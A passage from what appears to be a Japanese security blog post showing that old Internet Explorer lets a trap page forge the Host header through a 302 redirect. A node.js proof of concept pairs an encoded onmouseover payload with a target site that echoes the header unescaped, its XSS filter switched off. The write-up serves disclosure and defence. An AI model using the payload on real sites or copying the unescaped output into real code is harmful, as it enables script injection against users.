Host:リクエストヘッダによるXSS

本日、とある会合にてTwitterで交わされていたこの会話が話題になりました。

HTML内にHostリクエストヘッダをエスケープせずに出力しているケースは実際のWebサイトでもまれに見かけるものの、それはBurpやFiddlerなどのProxyツールでHostリクエストヘッダを書き換えた場合に発見されるものであり、受動的攻撃すなわち罠ページを経由して利用者のブラウザから偽のHostヘッダを送信することはできないため、実際にXSSの脅威は存在しないというのが知る限りWebセキュリティ業界でも一般的な考え方でした。あるいはDNSバインディングを用いて罠サイトのドメインの一部として該当WebサーバのIPアドレスを返すことで偽のHostヘッダを与えることはできるものの、その場合にXSSが発生したとしてもそれは偽サイトのドメイン上でのXSSであり、やはり実際の脅威は考えにくいと思われていました。

ところが、Masato Kinugawaさんの示された情報によると、IEでは罠ページ上で302などでリダイレクトしつつLocationヘッダに%2Fなどを含めると、それらをデコードした値をHostヘッダとして送信するということで、これらを利用するとHostヘッダをHTML上にそのまま出力しているサイトではXSSが可能ということになります。

実際に、以下のようなnode.jsのコードで罠サイト(example.jp)および攻撃対象サイト(example.com)を動作させた場合、IEでexample.jpを訪問するとブラウザとしてはexample.comへ訪問するにも関わらず、Host:ヘッダには「example.com/?"onmouseover=alert(location.host)//」がセットされ、それがそのままエスケープされずに出力されているのでXSSが発生します。

"use strict";
var http = require('http');

(function(){
    http.createServer(function (req, res) {
        if( req.headers["host"] === "example.jp" ){
            // 攻撃者の用意した罠サイト example.jp
            res.writeHead( 302, { "Location" : "http://example.com%2f%3f%22onmouseover=alert(location.host)%2f%2f"} );
            res.end();
        }else{
            // 攻撃対象となるサイト example.com では Host ヘッダをエスケープせずに出力している
            res.writeHead( 200, { "Content-Type" : "text/html;charset=utf-8", "X-XSS-Protection" : "0" } );
            res.end( '<html><body><a href="' + req.headers["host"] + '">aa</a></html>' );
        }
    }).listen(80);
    console.log( "Running server on port 80" );
})();

なお、この例のように単純なXSSであればIEXSSフィルターが作動するためにJavaScriptの実行はブロックされますが、実際にはXSSフィルターをバイパスする手法も多くみつかっているため、XSSフィルターの存在を以て脅威を軽視するべきではありません。また、上記例では、挙動をわかりやすくするためにあえてXSSフィルターを無効にしています。

その他検証が足りていない部分